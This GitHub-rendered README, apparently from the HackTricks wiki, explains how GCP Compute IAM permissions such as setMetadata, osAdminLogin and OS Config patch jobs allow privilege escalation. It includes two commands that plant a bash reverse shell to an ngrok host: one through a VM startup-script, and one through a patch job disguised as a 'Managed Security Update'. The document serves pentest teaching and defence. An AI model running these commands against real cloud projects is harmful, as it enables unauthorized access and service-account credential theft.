Skip to content

Latest commit

 

History

History
 
 

gcp-compute-privesc

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
README.md
README.md
 
 
gcp-add-custom-ssh-metadata.md
gcp-add-custom-ssh-metadata.md
 
 

README.md

GCP - Compute Privesc

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Compute

For more information about Compute and VPC (netowork) in GCP check:

{% content-ref url="../../gcp-services/gcp-compute-instances-enum/" %} gcp-compute-instances-enum {% endcontent-ref %}

{% hint style="danger" %} Note that to perform all the privilege escalation atacks that require to modify the metadata of the instance (like adding new users and SSH keys) it's needed that you have actAs permissions over the SA attached to the instance, even if the SA is already attached! {% endhint %}

compute.projects.setCommonInstanceMetadata

With that permission you can modify the metadata information of an instance and change the authorized keys of a user, or create a new user with sudo permissions. Therefore, you will be able to exec via SSH into any VM instance and steal the GCP Service Account the Instance is running with.
Limitations:

  • Note that GCP Service Accounts running in VM instances by default have a very limited scope
  • You will need to be able to contact the SSH server to login

For more information about how to exploit this permission check:

{% content-ref url="gcp-add-custom-ssh-metadata.md" %} gcp-add-custom-ssh-metadata.md {% endcontent-ref %}

You could aslo perform this attack by adding new startup-script and rebooting the instance:

gcloud compute instances add-metadata my-vm-instance \
    --metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

This permission gives the same privileges as the previous permission but over a specific instances instead to a whole project. The same exploits and limitations as for the previous section applies.

compute.instances.setIamPolicy

This kind of permission will allow you to grant yourself a role with the previous permissions and escalate privileges abusing them.

compute.instances.osLogin

If OSLogin is enabled in the instance, with this permission you can just run gcloud compute ssh [INSTANCE] and connect to the instance. You won't have root privs inside the instance.

{% hint style="success" %} In order to successfully login with this permission inside the VM instance, you need to have the iam.serviceAccounts.actAs permission over the SA atatched to the VM. {% endhint %}

compute.instances.osAdminLogin

If OSLogin is enabled in the instance, with this permission you can just run gcloud compute ssh [INSTANCE] and connect to the instance. You will have root privs inside the instance.

{% hint style="success" %} In order to successfully login with this permission inside the VM instance, you need to have the iam.serviceAccounts.actAs permission over the SA atatched to the VM. {% endhint %}

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

It's possible to create a virtual machine with an assigned Service Account and steal the token of the service account accessing the metadata to escalate privileges to it.

The exploit script for this method can be found here.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

If you have the osconfig.patchDeployments.create or osconfig.patchJobs.exec permissions you can create a patch job or deployment. This will enable you to move laterally in the environment and gain code execution on all the compute instances within a project.

Note that at the moment you don't need actAs permission over the SA attached to the instance.

If you want to manually exploit this you will need to create either a patch job or deployment.
For a patch job run:

{% code overflow="wrap" %}

cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
  --instance-filter-names=zones/us-central1-a/instances/<instance-name> \
  --pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
  --reboot-config=never \
  --display-name="Managed Security Update" \
  --duration=300s

{% endcode %}

To deploy a patch deployment:

gcloud compute os-config patch-deployments create <name> ...

The tool patchy could been used in the past for exploiting this misconfiguration (but now it's not working).

An attacker could also abuse this for persistence.

compute.machineImages.setIamPolicy

Grant yourself extra permissions to compute Image.

compute.snapshots.setIamPolicy

Grant yourself extra permissions to a disk snapshot.

compute.disks.setIamPolicy

Grant yourself extra permissions to a disk.

Bypass Access Scopes

Following this link you find some ideas to try to bypass access scopes.

Local Privilege Escalation in GCP Compute instance

{% content-ref url="../gcp-local-privilege-escalation-ssh-pivoting.md" %} gcp-local-privilege-escalation-ssh-pivoting.md {% endcontent-ref %}

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}